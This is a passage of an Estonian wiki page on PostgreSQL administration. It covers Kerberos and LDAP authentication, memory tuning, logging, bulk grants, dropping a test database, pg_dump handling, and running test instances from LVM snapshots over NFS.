* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
